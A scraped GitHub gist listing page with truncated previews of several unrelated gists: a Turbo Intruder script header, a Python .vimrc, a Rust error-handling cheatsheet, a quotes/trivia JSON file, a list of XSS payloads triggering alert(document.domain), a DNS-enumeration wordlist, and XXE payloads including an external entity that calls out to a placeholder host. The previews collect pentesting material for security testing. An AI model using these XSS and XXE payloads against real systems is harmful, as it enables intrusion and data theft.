Skip to content

Instantly share code, notes, and snippets.

View collinsmarra's full-sized avatar
🤝
Open for collab

Collins collinsmarra

🤝
Open for collab
View GitHub Profile
@defparam
defparam / cluster.py
Last active April 28, 2025 08:47
Gist of the Day: Turbo Intruder Cluster Bomb with SmartFiltering
# Gist of the Day: Turbo Intruder Cluster Bomb with SmartFiltering
# Author: Evan Custodio (@defparam)
#
# MIT License
# Copyright 2021 Evan Custodio
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
#
@miguelgrinberg
miguelgrinberg / .vimrc
Last active January 30, 2025 22:30
My .vimrc configuration for working in Python with vim
" plugins
let need_to_install_plugins = 0
if empty(glob('~/.vim/autoload/plug.vim'))
silent !curl -fLo ~/.vim/autoload/plug.vim --create-dirs
\ https://raw.githubusercontent.com/junegunn/vim-plug/master/plug.vim
let need_to_install_plugins = 1
endif
call plug#begin()
Plug 'tpope/vim-sensible'

Rust Error Handling Cheatsheet - Result handling functions

Introduction to Rust error handling

Rust error handling is nice but obligatory. Which makes it sometimes plenty of code.

Functions return values of type Result that is "enumeration". In Rust enumeration means complex value that has alternatives and that alternative is shown with a tag.

Result is defined as Ok or Err. The definition is generic, and both alternatives have

@miharekar
miharekar / quotes.json
Last active November 29, 2023 09:34
Stoic Quotes JSON
This file has been truncated, but you can view the full file.
This file has been truncated, but you can view the full file.
["A ____ atom in an atomic clock beats 9,192,631,770 times a second", "cesium"]
["A ____ generates temperatures five times hotter than those found on the sun's surface", "lightning bolt"]
["A ____ is a pact between a secular authority & the church", "concordat"]
["A ____ is the blue field behind the stars", "canton"]
["A ____ occurs when all the planets of the our Solar System line up", "sysygy"]
["A ____ razor removed from King Tut's Tomb was still sharp enough to be used", "golden"]
["A ____ takes 33 hours to crawl one mile", "snail"]
["A ____ women can get a divorce if her husband doesn't give her coffee", "saudi arabian"]
["A ____ written to celebrate a wedding is called a epithalamium", "poem"]
@tomnomnom
tomnomnom / alert.js
Last active May 8, 2025 06:03
Ways to alert(document.domain)
// How many ways can you alert(document.domain)?
// Comment with more ways and I'll add them :)
// I already know about the JSFuck way, but it's too long to add (:
// Direct invocation
alert(document.domain);
(alert)(document.domain);
al\u0065rt(document.domain);
al\u{65}rt(document.domain);
window['alert'](document.domain);
@jhaddix
jhaddix / all.txt
Last active May 30, 2025 08:37
all wordlists from every dns enumeration tool... ever. Please excuse the lewd entries =/
This file has been truncated, but you can view the full file.
.
..
........
@
*
*.*
*.*.*
🐎
@staaldraad
staaldraad / XXE_payloads
Last active May 23, 2025 12:38
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>